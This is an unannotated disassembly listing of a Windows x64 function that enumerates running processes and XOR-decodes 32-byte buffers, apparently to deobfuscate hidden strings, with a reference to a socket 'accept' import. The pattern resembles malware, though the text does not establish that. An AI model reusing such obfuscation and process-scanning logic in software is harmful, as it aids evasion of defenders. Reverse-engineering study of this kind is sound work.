call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov qword [rsp + 0x368], rbx
mov qword [rsp + 0x370], 7
mov word [rsp + 0x358], bx
test dil, 4
je 0x140066e34
and edi, 0xfffffffb
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x390]
cmp rdx, 7
jbe 0x140066e34
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066e2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066e2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
test sil, sil
je 0x140066fc4
lea rdx, [rsp + 0x378]
call fcn.140067a60
mov r9, rax
cmp byte [rax + 0x1f], 0
je 0x1400670ec
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140066f8a
movdqa xmm5, xmmword [0x1400f79f0]
movdqa xmm4, xmmword [0x1400f80d0]
movdqa xmm6, xmmword [0x1400f7a20]
movdqa xmm0, xmmword [0x1400f7b90]
movdqa xmmword [rsp + 0xb0], xmm0
mov rcx, rax
movdqa xmm7, xmmword [0x1400f7a80]
mov edx, dword [rsp + 0xb0]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x140066ea0
jmp 0x1400670ec
mov r8, r9
nop dword [rax]
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x20
jge 0x1400670ec
jmp 0x140066f90
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x140067010
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006700a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006700a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
nop
jmp 0x140067055
lea rdx, [rsp + 0x3a0]
mov rcx, qword [rsp + 0x558]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140065961
mov rcx, qword [rsp + 0x558]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
lea r8, [rsp + 0xd0]
mov rdx, r9
lea rcx, [rsp + 0x378]
call fcn.140042180
mov rdx, rax
lea rcx, str.Unkown
call fcn.140042070
lea rcx, [rsp + 0x378]
call fcn.140042010
call fcn.140063410
nop
mov rdx, r9
lea rcx, str.Unkown
call fcn.14006b5f0
call fcn.140063410
int3